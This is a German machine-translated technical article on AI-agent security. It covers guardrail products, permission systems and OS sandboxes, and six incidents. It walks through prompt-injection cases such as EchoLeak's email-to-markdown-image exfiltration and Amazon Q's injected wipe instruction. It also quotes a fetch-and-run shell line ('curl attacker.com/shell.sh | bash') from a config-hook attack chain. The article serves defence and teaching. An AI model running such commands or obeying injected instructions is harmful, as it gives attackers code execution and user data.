Engineering the Agentic Stack · Teil 4

AI-Agent-Sicherheit: Berechtigungen, Sandboxes und MCP-Bedrohungen

Automatische Übersetzung Dieser Artikel wurde automatisch aus der englischen Originalversion übersetzt.

Die Sicherheit eines Agents beginnt, nachdem das Model eine Aktion vorgeschlagen hat, und bevor die Maschine sie ausführt. Entscheidend ist, welche Kontrolle das letzte Wort hat, wenn die Aktion auf Credentials, Dateien, Netzwerke oder einen externen Seiteneffekt zugreift.

Das Programm, das diese Lücke offenhält, ist der Harness – der Control Loop, der jeden Prompt erstellt, entscheidet, welche vorgeschlagenen Tool Calls tatsächlich ausgeführt werden, und die Ergebnisse wieder einliest. Die meisten der folgenden Controls befinden sich dort, weil der Moment unmittelbar vor der Ausführung der letzte Zeitpunkt ist, an dem eine Prüfung noch günstig ist. Die übrigen liegen auf einer der beiden Seiten. Sobald der Command läuft, bleiben nur noch die Sandbox darum herum, die übergebenen Credentials und alles, was sich anschließend rückgängig machen lässt – und einige der in diesem Artikel beschriebenen Incidents haben ein Model überhaupt nicht erreicht.

Die Sicherheit von AI Agents geht über LLM-Sicherheit hinaus. Frühere Guardrail-Produkte prüften den Input und Output eines einzelnen Model Calls. Sie konnten toxischen Text filtern, personenbezogene Daten redigieren, Jailbreaks blockieren und themenfremde Antworten ablehnen. Diese Grenze war sinnvoll, solange das Model nur Text zurückgeben konnte.

Tool Loops brachten Filesystems, Shells, Model Context Protocol (MCP) Server und Credentials hinzu. Dadurch erweiterte sich das Threat Model von unsicherem Text auf unsichere Aktionen. Die sechs unten untersuchten Incidents waren keine Fehler, die ein besserer Output-Filter hätte verhindern können; das umgebende System war kompromittiert worden.

Wenn ein Agent ein Repository lesen, ein Tool aufrufen oder Daten an einen Dritten übertragen kann, müssen Engineers jede vorgeschlagene Aktion dem Control zuordnen, das sie tatsächlich stoppen kann. Die folgenden Abschnitte erstellen diese Zuordnung: Permissions, Hooks, Sandboxes, Credentials und Human Review gehören jeweils an eine andere Boundary.

Eine kurze Control-Checkliste findest du in der AI Agent Security Checklist.

AI-Agent-Sicherheitsstack

Der praxistaugliche Stack für 2026 ist kein einzelnes Guardrail. Er besteht aus mehreren Boundaries rund um den Loop.

Zwei Begriffe tragen die letzte Spalte der folgenden Tabelle. Der Harness ist das oben beschriebene Control-Programm. Die Runtime ist die Infrastruktur, auf der dieses Programm läuft – Sandbox, Session Log, Checkpoint Store und Traces –, die länger lebt als jeder einzelne Worker-Prozess.

LayerWas er kontrolliertBeispiel für einen abgefangenen FehlerWo er lebt
Content-FilterUnsicheren Input- und Output-TextToxischer Output, PII-Leakage, Policy-verletzende CompletionsHarness
Permission LadderWelche Tools, Pfade, APIs und Scopes der Agent verwenden kannEin Summarizer versucht, in Produktionssysteme zu schreibenHarness
Pre-Tool Policy HookOb diese konkrete Aktion jetzt ausgeführt werden sollShell-Command aus nicht vertrauenswürdigen Retrieved ContentHarness
SandboxWorauf das Tool auf OS- und Netzwerkebene zugreifen kannFile-Exfiltration, Dependency-Kompromittierung, Command InjectionRuntime
Human GateIrreversible oder besonders folgenreiche AktionenE-Mail versenden, Geld transferieren, in Production deployenHarness
MCP- und Token-ScopingFür welchen Server und welche Audience ein Credential gültig istToken-Wiederverwendung bei einem nicht vorgesehenen Tool ServerRuntime
Audit TraceWas passiert ist, wer es genehmigt hat und warumIncident-Untersuchung nach einem langen autonomen RunRuntime

Content-Filter beantworten, ob das Model etwas Unsicheres gesagt hat. AI-Agent-Sicherheit beantwortet, ob das System den nächsten Schritt ausführen darf.

Die Harness-Zeilen entscheiden; die Runtime-Zeilen setzen ein grobes, im Voraus festgelegtes Limit durch und zeichnen auf, was passiert ist. Eine Sandbox greift weiterhin, wenn der Harness den Call nicht vorhergesehen hat – genau deshalb sollte sie auch dann erhalten bleiben, wenn die Permission-Regeln vollständig wirken –, aber sie kann nicht erkennen, dass eine erlaubte Aktion die falsche war. Diese Bewertung gehört in den Harness.

Lies die Spalte als Ort, an dem ein Control wirkt, nicht als Angabe darüber, wer es betreibt: Ein Managed Content-Filter ist ein Vendor-Service, aber der Harness ruft ihn auf.

Managed Content-Filter decken die Textebene ab. Die übrigen Controls gehören in Application Policy, Identity und Infrastructure.


Warum sich AI-Agent-Sicherheit von LLM-Sicherheit unterscheidet

Bharani Subramaniam und Martin Fowler formulierten den Rahmen Anfang 2025 in Emerging Patterns in Building GenAI Products. Ihre Beobachtung war eng gefasst und direkt:

„Bei traditionellen Systemen konnten wir Korrektheit hauptsächlich durch Tests bewerten … Bei LLM-basierten Systemen treffen wir auf ein System, das nicht mehr deterministisch arbeitet.“

Output Evaluation beantwortet, ob eine Model-Antwort ein Rubric erfüllt. Ein Agent-Threat-Model muss zusätzlich Tool Calls, Shell Commands, File Writes, Credentials und Network Requests abdecken. Diese Aktionen überschreiten Boundaries, die ein Output Grader nicht durchsetzen kann. Diese zweite Ebene ist der Harness: kein Filter für die Worte des Models, sondern die Checks rund um den Loop, die diese Worte in Aktionen verwandeln. Alles, was nach diesem Abschnitt folgt, ist Bestandteil dieses Wrappers.

LLM-Guardrails umschließen einen Model Call; der Harness umschließt den LoopLLM-Guardrails umschließen einen Model Call; der Harness umschließt den Loop

Simon Willison prägte die Form des agentspezifischen Risikos im Juni 2025 mit dem lethal trifecta:

„Das lethal trifecta aus Fähigkeiten besteht aus: Zugriff auf deine privaten Daten; Exposure gegenüber nicht vertrauenswürdigen Inhalten; die Möglichkeit, extern so zu kommunizieren, dass deine Daten gestohlen werden könnten. Wenn dein Agent diese drei Features kombiniert, kann ein Angreifer ihn leicht dazu bringen, auf deine privaten Daten zuzugreifen und sie an den Angreifer zu senden.“

Viele nützliche Agents kombinieren diese Fähigkeiten: Inbox-Zugriff, Web Retrieval und ein Messaging-Tool; oder Repository-Zugriff, Issue-Lesen und Pull-Request-Writes. Ein Content-Guardrail fragt, ob das Model unsicheren Text erzeugt hat. Das Trifecta fragt, ob nicht vertrauenswürdiger Input das System über eine erlaubte Aktion zur Offenlegung von Daten steuern kann.

Das lethal trifectaDas lethal trifecta

Die strukturelle Variante desselben Arguments findet sich in Joel Fokous Parallax-Preprint (arXiv 2604.12986, eingereicht am 14. April 2026, nicht peer-reviewed). Die zentrale Aussage:

„Das System, das über Aktionen nachdenkt, muss strukturell unfähig sein, sie auszuführen, und das System, das Aktionen ausführt, muss strukturell unfähig sein, über sie nachzudenken; zwischen beiden muss ein unabhängiger, unveränderlicher Validator stehen.“

Du musst die Evaluationszahlen des Papers nicht akzeptieren, um seinen strukturellen Punkt zu prüfen. Mehrere aktuelle Harnesses implementieren Teile derselben Trennung:

  • Claudes PreToolUse Hooks
  • Codex CLI mit OS-sandboxed Executor (unter Linux bubblewrap plus seccomp-System-Call-Filtering)
  • Anthropics Managed Agents, die Credentials in einem Vault halten, den der Agent nie sieht
  • MCPs RFC-8707-Audience-Bound-Tokens

Diese Systeme halten das Model Judgment hinter einer deterministischen Execution Boundary. Die konkreten Controls unterscheiden sich, aber die Komponente, die einen Command ausführt, verlässt sich nicht auf die Einschätzung des Models, ob der Command sicher ist.

Eine ergänzende Disziplin formulierte Alessandro Pignati in Januar 2026 besonders prägnant: das Principle of Least Agency. Least Privilege fragt: Worauf kann diese Identity zugreifen? Least Agency fragt: Was darf dieser Agent entscheiden? Privilege beschränkt die Credentials; Agency beschränkt die Reichweite eines Plans, selbst wenn die Credentials gültig sind. Excessive Agency ist ein eigener Eintrag in den von OWASP, dem Open Worldwide Application Security Project, veröffentlichten Top 10 für LLM Applications. Die später in diesem Artikel behandelte separate agentic Liste teilt denselben Fehler in Tool Misuse und Privilege Abuse auf. Least Agency ist die Design-Disziplin, die beides verhindert. Ein Agent, der deine Inbox zusammenfassen kann, benötigt wahrscheinlich keine Commit-Rechte für dein Monorepo. Wir finden weiterhin Konfigurationen, in denen er sie hat.


Was LLM-Guardrails abdecken

!!! byte „Byte sagt“

Ich habe einen Agent hinter einem Content-Filter ausgeliefert und ihn als sicher bezeichnet. Der Filter las, was der Agent sagte. Er hatte keine Meinung zu der Datei, die der Agent außerhalb des Workspace schrieb.

LLM-Guardrails leisten rund um den Model Call wichtige Arbeit. Sie prüfen Input, Retrieved Text und Output und blockieren, redigieren, reparieren oder markieren Content, der eine konfigurierte Regel verletzt. Die folgenden Produkte unterscheiden sich bei Deployment und Coverage. Ein Content-Check ist von einem Authorization-Check an der Tool- oder MCP-Server-Boundary getrennt; einige Produkte bieten außerdem Runtime-Policy-Features, die separat konfiguriert und evaluiert werden müssen.

NVIDIA NeMo Guardrails

Das am stärksten opinionated Framework: ein Orchestration-Framework rund um fünf Rail-Typen (Input, Dialog, Retrieval, Execution, Output) mit einer eigenen DSL – Colang, einer Python-ähnlichen Sprache für Dialog-Flows, User Intents und Bot Messages. Die Grundlagen kannst du über Python + YAML steuern, umfangreichere Dialoglogik wird jedoch in Colang verfasst – daher „opinionated“. Die Dokumentation findest du unter docs.nvidia.com/nemo/guardrails.

Dies ist eine illustrative API-Struktur; sie benötigt das Package und ein konfiguriertes ./config-Verzeichnis.

from nemoguardrails import LLMRails, RailsConfig

config = RailsConfig.from_path("./config")
rails = LLMRails(config)
response = rails.generate(
    messages=[{"role": "user", "content": "Hello"}]
)

NeMos Repo beschreibt sein Threat Model ausdrücklich: „gängige LLM-Schwachstellen wie Jailbreaks und Prompt Injections.“ Ebenso ausdrücklich beschreibt es seinen Scope: „Die integrierten Guardrails sind möglicherweise für einen bestimmten Production Use Case geeignet oder auch nicht … Entwickler sollten mit ihrem internen Application Team zusammenarbeiten, um sicherzustellen, dass die Guardrails die Anforderungen erfüllen.“ Der hier gezeigte Content-Screening-Pfad überwacht, was das Model sagt. Die aktuellen NeMo-Dokumente beschreiben außerdem Execution Rails, Custom Actions und Tool-Call-Inspection; dabei handelt es sich um konfigurierbare Runtime-Controls, nicht um einen Nachweis, dass das eingesetzte Tool oder der MCP-Server den Call authentifiziert und autorisiert hat. Diese Boundary bleibt Aufgabe der Application.

Meta Llama Guard 4

Ein reiner 12B-Content-Classifier, aus Llama-4-Scout herausgepruned und an die MLCommons-Hazard-Taxonomy angepasst (13 Harm-Kategorien plus Missbrauch des Code-Interpreters laut Model Card). Meta benennt die Grenzen ungewöhnlich offen:

„Einige Hazard-Kategorien benötigen möglicherweise aktuelles, faktisches Wissen, um vollständig evaluiert zu werden … Schließlich kann Llama Guard 4 als LLM adversarialen Angriffen oder Prompt-Injection-Angriffen ausgesetzt sein, die seine vorgesehene Nutzung umgehen oder verändern könnten: siehe Llama Prompt Guard 2 zur Erkennung von Prompt Attacks.“

Meta liefert ein separates Produkt, das den eigenen Content-Classifier gegen Prompt Injection schützt. Wenn dieser Satz wie ein strukturelles Eingeständnis klingt, dann ist er genau das.

Guardrails AI

Eine Validator-Registry. Du kombinierst mehr als 60 Hub-Validatoren (PII über Presidio, JailbreakDetect, CompetitorCheck, Provenance-Checks) mit Fail-Modes exception | fix | fix_reask | filter | refrain | reask | noop | custom (guardrailsai.com). Beachte exception, nicht raise – ein nicht erkannter on_fail-String erzeugt keinen Fehler, sondern loggt eine Warnung und fällt auf den Default zurück; ein Tippfehler deaktiviert den Validator daher stillschweigend. Es gibt kein einheitliches Threat Model; die Coverage entspricht der Vereinigung der installierten Validatoren. Du erhältst Schutz für alles, wofür du einen Validator installiert hast, und für nichts anderes.

Lakera Guard

Die etablierte SaaS API, trainiert auf mehreren zehn Millionen Angriffssamples aus Gandalf. Sie verspricht, Input und Output auf „Prompt Attacks … und Data Leakage“ zu prüfen. Lakeras separates Produkt AI Agent Security beschreibt außerdem Policy- und Runtime-Enforcement dafür, worauf Agents zugreifen, was sie aufrufen und was sie tun dürfen. Das ist eine andere Produktschnittstelle als der hier besprochene Content-Screening-Call. Der Free Tier umfasst 10.000 Requests pro Monat; Enterprise-Preise sind nicht transparent.

AWS Bedrock Guardrails

Der Enterprise-Default, wenn du ohnehin Bedrock nutzt. ApplyGuardrail funktioniert mit jedem Model, unabhängig davon, ob es von Bedrock stammt:

# No-run: illustrative AWS request; requires boto3, AWS credentials, and a real guardrail identifier.
import boto3

brt = boto3.client("bedrock-runtime")
resp = brt.apply_guardrail(
    guardrailIdentifier="gr-xxxxxxxxxxxx",
    guardrailVersion="2",
    source="INPUT",
    content=[{"text": {"text": "user question",
                        "qualifiers": ["guard_content"]}}],
)

Veröffentlichte Preise: 0.15per1,000textunitsforcontentfiltersordeniedtopics,0.15 per 1,000 text units for content filters or denied topics, 0,10 für PII-Filter oder Contextual Grounding. Eine Text Unit umfasst bis zu 1.000 Zeichen.

Azure AI Content Safety

Liefert Prompt Shields als Unified Endpoint, der „adversarial user input attacks … direkte und indirekte Bedrohungen erkennt und blockiert“. Azure ist ebenfalls offen: „Azure AI Content Safety kann nicht verwendet werden, um illegale Bilder zur sexuellen Ausbeutung von Kindern zu erkennen“; außerdem ist die Qualität für mehrere Sprachen auf acht evaluierte Sprachen begrenzt.

OpenAI Moderation und OpenAI Guardrails

omni-moderation-latest ist die kostenlose multimodale Baseline. Separat ist openai-guardrails-python (Dokumentation unter guardrails.openai.com) die Framework-Antwort von OpenAI: eine Pipeline mit drei Stufen (Pre-Flight, Input, Output) und Jailbreak Detection, Hallucination Detection über FileSearch, NSFW, PII über Presidio sowie LLM-as-Judge. GuardrailAgent wird in das Agents SDK integriert.

# No-run: illustrative OpenAI Guardrails API shape; requires the package and guardrail_config.json.
from guardrails import GuardrailsOpenAI, GuardrailTripwireTriggered

client = GuardrailsOpenAI(config="guardrail_config.json")
try:
    resp = client.responses.create(model="<your-model-id>", input="...")
except GuardrailTripwireTriggered as e:
    print(f"blocked: {e}")

Die gemeinsame Boundary

Zwei Beobachtungen gelten für alle sieben Produkte.

Erstens sind veröffentlichte Zahlen zu Latency und Throughput rar. Bedrock, Azure und Lakera veröffentlichen Preise, aber keine Garantien für Worst-Case-Latency. Auch Meta veröffentlicht keine Garantie für einen gehosteten Llama-Guard-Endpoint. NVIDIA liefert NeMo Guardrails als Software zum Selbstbetrieb, daher hängt die Latency von deinem Model und deiner Infrastruktur ab. Miss jeden synchronen Check auf dem Critical Path, statt seine Kosten aus den Produktpreisen abzuleiten.

Zweitens ist die Schlussfolgerung hier auf die in diesem Abschnitt evaluierten Content-fokussierten Konfigurationen begrenzt: Llama Guard 4, Guardrails AI, Lakeras Content-Screening-Pfad, Bedrock Guardrails, Azure AI Content Safety und OpenAI Moderation/Guardrails. Diese Konfigurationen etablieren für sich genommen weder Tool-Call-Authorization, MCP-Authentication, Multi-Step-Exfiltration-Controls, Schutz vor Agent-Goal-Hijacking über Konfigurationsdateien noch Controls für Code Execution vor dem Model Invocation. Das ist keine universelle Negativaussage über Guardrail-Produkte: NeMo dokumentiert Execution Rails und Tool-Call-Inspection, und Lakera beschreibt Runtime-Enforcement in seinem separaten AI-Agent-Security-Produkt. Content-Filtering ist dennoch eine andere Boundary als Authorization, die entscheidet, ob eine bestimmte Identity, ein Scope, ein Tool Call oder eine Server Request fortgesetzt werden darf. Der Rest dieses Posts behandelt diese Runtime-Boundaries.


Bedrohungen für die Sicherheit von AI Agents: sechs Incidents und die OWASP ASI Top 10

Die Lücke zwischen dem Filtern von Text und dem Absichern der Ausführung war Mitte 2025 nicht mehr nur akademisch. Die sechs folgenden Incidents erreichten Retrieval, Konfiguration, Credentials, Package-Installation oder CI-Ausführung. Ein Content-Classifier kann weiterhin einen verdächtigen String erkennen, aber die Controls, die diese Pfade direkt blockieren, liegen an den Boundaries von Tools, Identity, Sandbox und Supply Chain.

EchoLeak – CVE-2025-32711, CVSS 9.3

Im Juni 2025 von Aim Labs, dem Research-Arm von Aim Security, gegen Microsoft 365 Copilot offengelegt. Der technische Bericht befindet sich inzwischen bei Cato Networks, das dieses Team übernommen hat, unter dem Namen des ehemaligen Aim-Labs-Leiters Itay Ravia (Bericht). Eine präparierte E-Mail, als Anweisung an den menschlichen Empfänger formuliert, passierte XPIA (Microsofts integrierten Filter, der in Copilot-Inputs nach Prompt-Injection-Angriffen sucht). Anschließend gelangte sie in Copilots Retrieval Layer – den Teil des Systems, der deine Dokumente durchsucht, um Kontext für Antworten zu finden. Die Researchers nennen den Trick RAG-spraying: Der Angreifer platziert dieselbe schädliche Anweisung in vielen indexierten Dokumenten, sodass das Retrieval mit hoher Wahrscheinlichkeit mindestens eines davon in den Model Context zieht. Im Context bettete Copilot gehorsam die sensibelsten Daten der Session in einen Markdown-Link ein, der auf ein Bild unter einer vom Angreifer kontrollierten Domain zeigte. Die Teams Preview API lief auf einer Domain, der Microsofts eigene Browser-Policies bereits vertrauten, und rief die Bild-URL automatisch ab. Dadurch übergab sie die Daten an den Angreifer. Keine Klicks. Aim Labs bezeichnete diese Angriffsklasse als „LLM Scope Violation“: Das Model überschreitet eine Boundary, die es nie hätte überschreiten dürfen, und verwendet dafür ausschließlich Operationen, die jedes einzelne System als legitim betrachtete.

Jeder einzelne Schritt wirkte isoliert betrachtet legitim. Die E-Mail war an einen Menschen adressiert. Das Retrieval holte ein Dokument, das es holen sollte. Der Markdown-Link wurde so gerendert, wie Markdown-Links gerendert werden. Der Bildabruf ging an eine Allowlist-Domain. XPIA hatte nichts zu markieren, weil nichts für sich genommen markierbar war. Das System war kompromittiert. Das Model nicht.

Amazon Q Developer VS Code v1.84.0 – Juli 2025

AWS veröffentlichte einen kompromittierten Build, nachdem ein Angreifer über ein zu weit gefasstes CodeBuild-GitHub-Token eine schädliche System-Prompt-Datei committet hatte (Advisory). Der injizierte Prompt wies den Agent an, „ein System nahezu auf den Werkszustand zurückzusetzen und Dateisystem- sowie Cloud-Ressourcen zu löschen“. Der schädliche Code wurde mit v1.84.0 verteilt, aber wegen eines Syntaxfehlers nicht ausgeführt. AWS widerrief Credentials, entfernte den Code und veröffentlichte v1.85.0. Der Payload scheiterte wegen dieses Syntaxfehlers, nicht weil ein Security Control ihn blockiert hätte.

Azure MCP Server – CVE-2026-32211, Microsoft/CNA CVSS 9.1; NVD 7.5

Das deutlichste Beispiel für die falsche Layer. Der NVD-Eintrag weist einen NVD-CVSS-3.1-Basiswert von 7,5 (HIGH) und einen Microsoft-CNA-Wert von 9,1 (CRITICAL) aus und verweist auf Microsofts Vendor-Eintrag für die fehlende Authentication. Dieser Eintrag stützt die Prüfung der Authentication an der Boundary des eingesetzten Servers. Er belegt weder die Defaults jedes MCP SDK noch den Implementierungspfad jeder betroffenen Release. Kein Content-Filter wird jemals aufgerufen, weil das Model nicht beteiligt ist. Der Angreifer spricht direkt mit dem Tool.

Claude Code CVE-2025-59536 – CVSS 8.7

Die klassische Vulnerability im Vertrauen in Agent-Konfigurationen. Check Points Aviv Donenfeld und Oded Vanunu offenbarten, dass „repository-definierte Konfigurationen in .mcp.json- und .claude/settings.json-Dateien von einem Angreifer ausgenutzt werden konnten, um eine explizite User-Genehmigung zu überschreiben … indem die Option enableAllProjectMcpServers auf true gesetzt wurde.“

Die Angriffskette lohnt eine langsame Betrachtung:

  1. Das Opfer clont ein nicht vertrauenswürdiges Repo.
  2. Ein SessionStart-Hook führt curl attacker.com/shell.sh | bash aus, bevor Claudes Trust Dialog erscheint.
  3. .mcp.json genehmigt nicht vertrauenswürdige MCP-Server automatisch.
  4. ANTHROPIC_BASE_URL (der zugehörige CVE-2026-21852, CVSS 5.3) leitet alle Claude-API-Calls, einschließlich Bearer Tokens, stillschweigend an einen vom Angreifer kontrollierten Host um.

Behoben in Claude Code 1.0.111 beziehungsweise 2.0.65 (Advisory GHSA-ph6w-f82w-28w6). Die Zusammenfassung von Check Point ist die wichtigste Aussage: „Herkömmliche Prompt-Injection-Defenses … bieten null Schutz.“ Der Code des Angreifers läuft auf deiner Maschine (was Security-Fachleute Remote Code Execution oder RCE nennen), bevor das Model überhaupt aufgerufen wird.

Axios 1.14.1 – 31. März 2026

Maintainer jasonsaayman schrieb im Post-Mortem: „Zwei schädliche Axios-Versionen (1.14.1 und 0.30.4) wurden über meinen kompromittierten Account in die npm Registry veröffentlicht. Beide Versionen injizierten eine Dependency namens plain-crypto-js@4.2.1, die auf macOS, Windows und Linux einen Remote-Access-Trojaner installierte.“ Ein Remote-Access-Trojaner ist Malware, die unauffällig eine Backdoor öffnet – der Angreifer kann damit aus dem Internet Commands ausführen, Dateien lesen und deine Eingaben beobachten. Die schädlichen Versionen waren ungefähr drei Stunden lang verfügbar. Googles Threat-Intelligence-Gruppe führt die Kompromittierung auf UNC1069 (Sapphire Sleet) zurück. Jeder Coding Agent, der in diesem Zeitraum zufällig npm install ausführte, installierte die Backdoor. Das Model war nie beteiligt. In dieser Incident-Klasse liegt der Fehler in der Supply-Chain-Execution, nicht im Model-Verhalten.

Trivy-Actions-Tag-Hijacking – GHSA-69fq-xp46-6x23, 19. März 2026

Ein Angreifer schrieb 76 von 77 Version-Tags in aquasecurity/trivy-action um, einem Repository, das viele CI-Pipelines für Security-Scanning aufrufen, sodass die Tags statt auf den echten Trivy-Code auf Credential-stealing-Malware zeigten. Ebenso wurden alle sieben Tags in setup-trivy ersetzt. Außerdem wurde ein v0.69.4-Binary ausgeliefert, das über /proc/<pid>/mem den Speicher des Runner.Worker-Prozesses auslas und mehr als fünfzig Dateisystempfade nach SSH Keys, Cloud Credentials, Kubernetes Tokens und .env-Dateien durchsuchte – direkt aus den GitHub-Actions-Runners (Aqua Advisory). Jeder Workflow, der die Action per Tag pinnte – also fast alle –, lud den Payload beim nächsten Run, weil ein Git-Tag ein verschiebbarer Pointer ist und nachgelagerte Systeme nicht erneut prüfen, wohin er inzwischen zeigt. Ein Coding Agent vergrößert den Blast Radius, erzeugt ihn aber nicht: Der Agent schreibt die Tag-Referenz in die Workflow-Datei und vertraut dem Tag genau wie ein menschlicher Reviewer; CI führt anschließend aus, worauf dieser Tag zeigt.

Die OWASP ASI Top 10, Edition 2026

OWASPs Agentic Security Initiative (ASI) ist eine Working Group, die sich speziell auf LLM-gesteuerte Agents konzentriert. Am 9. Dezember 2025 veröffentlichte sie die Agentic Security Initiative Top 10 für 2026: einen gerankten Katalog der zehn Vulnerability-Kategorien, die Agent-Systeme von klassischen LLM-Apps unterscheiden.

Das Ranking orientiert sich daran, wo sich Incidents in der Praxis häufen. Lies es als Checkliste dafür, was ein Agent-Threat-Model abdecken muss:

OWASP ASI Top 10 für 2026OWASP ASI Top 10 für 2026

Content-Filter können zu ASI01 (Goal Hijack) und ASI06 (Memory Poisoning) beitragen. Die übrigen Kategorien erfordern Controls in Identity, Tool Policy, Memory, Orchestration, Monitoring oder Supply-Chain-Management. EchoLeak entspricht ASI01. Amazon Q entspricht ASI04 (Supply Chain) und ASI02 (Tool Misuse). Azure MCP ist ASI03 (Identity). Claude Code CVE-2025-59536 umfasst ASI05 (Code Execution), ASI04 und ASI03. Axios und Trivy sind ASI04. Diese Zuordnung zeigt, warum das Threat Model über Model Input und Output hinausgehen muss.


Permission ist Infrastructure, nicht Prompt

Hier hören Guardrails auf, das Produkt zu sein, und werden zu einem Subsystem eines Harness. Drei Systeme im April 2026 (OpenAI Agents SDK, Codex CLI und Claude Code) zeigen, wie eine Production-Policy-Schnittstelle tatsächlich aussieht. Alle drei setzen Permissions in Code durch. Keines verlässt sich darauf, dass das Model vorsichtig ist.

OpenAI Agents SDK

Das SDK trennt Harness und Compute. Gehostete MCP-Tools akzeptieren require_approval – entweder den reinen String "always" / "never" oder ein Filter-Objekt, dessen Keys diese beiden Policies sind und dessen Werte die jeweils abgedeckten Tool-Namen enthalten – sowie einen on_approval_request-Callback, der für jedes Tool unter "always" ausgelöst wird und {"approve": bool} mit einem optionalen Reason zurückgibt. Feingranulares Tool-Filtering (tool_filter) ist bei den Local-Server-Varianten (MCPServerStdio, MCPServerStreamableHttp, MCPServerSse) verfügbar, wenn du es benötigst:

# No-run: illustrative Agents SDK shape; requires openai-agents, a configured hosted MCP server, and credentials.
from agents import Agent, HostedMCPTool

def approve(request):
    # Only tools under the "always" policy reach this callback.
    if request.data.name == "delete_repo":
        return {"approve": False, "reason": "escalate to a human reviewer"}
    return {"approve": True}

agent = Agent(
    name="Ops",
    tools=[HostedMCPTool(
        tool_config={
            "type": "mcp",
            "server_label": "github",
            "server_url": "https://mcp.example.com",
            "require_approval": {
                "always": {"tool_names": ["delete_repo"]},
                "never": {"tool_names": ["list_issues"]},
            },
        },
        on_approval_request=approve,
    )],
)

Der Approval Callback ist Code. Die Approval Policy pro Tool ist Code. Du kannst diese Datei lesen, testen und diffen. Nichts davon gilt für einen System Prompt, der sagt: „Bitte sei vorsichtig mit Production.“

Codex CLI und die Managed Policy Layer

OpenAIs Coding Harness unterstützt eine Managed-requirements.toml-Datei, die IT-Abteilungen über Device Management ausrollen können. Auf Unix-Systemen liegt die Systemdatei unter /etc/codex/requirements.toml. Sie wirkt als Hard-Constraint-Layer, sodass Einstellungen auf Projektebene ihre Regeln nicht überschreiben können:

# /etc/codex/requirements.toml
[rules]
prefix_rules = [
    { pattern = [{ token = "rm" }, { any_of = ["-rf", "-fr"] }], decision = "forbidden", justification = "Recursive force-delete prohibited by IT policy" },
]

prefix_rules.decision akzeptiert nur "prompt" oder "forbidden", niemals "allow". Ein Projekt kann sich keine Permission geben, die der Managed Layer verbietet. MCP-Allowlists werden sowohl nach Name als auch nach Identity ausgewertet, etwa anhand eines Command Strings oder einer URL. Ein Projekt kann daher nicht behaupten, github-mcp zu sein, und auf den Server eines Angreifers zeigen. Welche Anforderungen unterstützt werden, hängt von Client und Version ab. Die aktuelle Dokumentation verlangt für Managed Permission-Profile-Keys ausdrücklich Codex 0.138.0 oder neuer. Teste daher jede Requirements-Policy vor dem Rollout gegen alle Client-Versionen im Fleet.

Claude Codes Permission Ladder

Claude Code veröffentlicht keine einheitliche lineare Reihenfolge aus sechs Gates für jeden Tool Call. Seine Permission-Regeln werden deny → ask → allow evaluiert; die erste passende Regel bestimmt das Ergebnis. Ein PreToolUse-Hook läuft vor dem Permission Prompt. Ein Hook kann einen Call blockieren, aber sein Ergebnis umgeht keine passende Deny- oder Ask-Regel. Der aktive Permission Mode verarbeitet Calls, die durch die Regeln nicht aufgelöst wurden. Das Claude Agent SDK bietet einen separaten canUseTool-Callback für ungelöste Requests. Dieser Callback ist ein SDK-Control, kein Claude-Code-CLI-Gate.

Reihenfolge der Permission-Evaluation in Claude CodeReihenfolge der Permission-Evaluation in Claude Code

Die Modi wechseln mit Shift+Tab zwischen default → acceptEdits → plan. auto, bypassPermissions und dontAsk werden unter bestimmten Entry Conditions aktiviert, die die Enterprise-Managed-Policy-Layer sperren kann. Das ist mehr als eine Konfigurationsdatei, die auf Korrektheit geprüft wird. Es handelt sich um eine State Machine mit Precedence Rules, die so veröffentlicht ist, dass ein Security-Team sie nachvollziehen kann.

Drei Blast Radii in einer Datei

So sieht die Struktur einer Codex-artigen Permission-Konfiguration mit einem Default und zwei benannten Profilen aus:

# ~/.codex/config.toml
approval_policy = "on-request"
sandbox_mode = "workspace-write"

[profiles.ci]
approval_policy = "never"
sandbox_mode = "read-only"

[profiles.release]
approval_policy = "untrusted"
sandbox_mode = "danger-full-access"

[mcp_servers.github]
command = "gh-mcp"
args = ["--readonly"]

Zwei Keys leisten die eigentliche Arbeit, und sie sind unabhängig voneinander. approval_policy entscheidet, wann ein Mensch gefragt wird. on-request erlaubt dem Agent, zu eskalieren, wenn er nicht weiterkommt. never fragt überhaupt nichts. untrusted stoppt bei jedem Command, der nicht auf der Trusted List steht. sandbox_mode legt fest, worauf der Command bei seiner Ausführung zugreifen kann.

CI unterbricht niemanden und kann nicht schreiben. Release kann die gesamte Maschine erreichen, muss aber fast alles zuerst durch einen Menschen genehmigen lassen. Das Release-Profil bezahlt für diese Reichweite: danger-full-access schaltet die Sandbox aus, sodass untrusted Approval das einzige verbleibende Control ist. Alles außerhalb der Trusted List wird von einem Menschen freigegeben oder nicht ausgeführt. Diese Trusted List ist nun die gesamte Security Boundary.

Die Default- und CI-Profile behalten den Kernel unter sich: Seatbelt auf macOS, bubblewrap plus seccomp auf Linux und Restricted Tokens auf Windows. In jedem Fall spielt die Einschätzung des Models keine Rolle.

Sandbox Enforcement ist eine OS-Frage

Der Kernel erledigt hier die eigentliche Arbeit. Jedes OS stellt ein anderes Toolkit bereit, und die beiden CLIs greifen nicht immer auf dasselbe Tool zurück:

PlattformClaude CodeCodex CLI
macOSSeatbelt über sandbox-exec mit einem SBPL-(Seatbelt Profile Language-)ProfilSeatbelt über sandbox-exec -p
Linuxbubblewrap + socat Network Proxybubblewrap + seccomp (Legacy-Landlock über use_legacy_landlock)
WindowsWSL2 erforderlichNative Restricted Tokens + Workspace ACLs + Capability SIDs

Sie stimmen dort überein, wo das OS eine Option bietet (Seatbelt, bubblewrap), und unterscheiden sich dort, wo dies nicht der Fall ist. Claude Code unterstützt Windows nicht und verweist auf WSL2. Codex liefert eine native Windows-Sandbox. In beiden Fällen findet das Enforcement im Kernel statt, nicht im Model.

Codex’ Linux-Pfad legt drei Locks auf Kernel-Ebene um den Command. PR_SET_NO_NEW_PRIVS verhindert, dass der Prozess zusätzliche Privileges erlangt, selbst wenn er es versucht. Ein seccomp-Filter lässt den Kernel ganze Klassen von System Calls direkt ablehnen. In dieser Konfiguration umfasst das alle Network Sockets außer lokalen Unix Sockets. Ein frisches, isoliertes /proc verbirgt den Rest der Maschine.

Codex härtet außerdem auf jeder Unix-Plattform beim Startup sein eigenes Binary. Es setzt RLIMIT_CORE=0, um Crash Dumps zu unterdrücken, und verweigert Debugger-Attach. Das ist eine andere Boundary als die Sandbox.

Windows läuft in zwei Modi. unelevated verwendet einen Restricted-Token-Prozess, dem Privileges entzogen wurden, der aber weiterhin als der User läuft. elevated verwendet einen dedizierten Sandbox-User, der durch Firewall-Regeln isoliert ist.

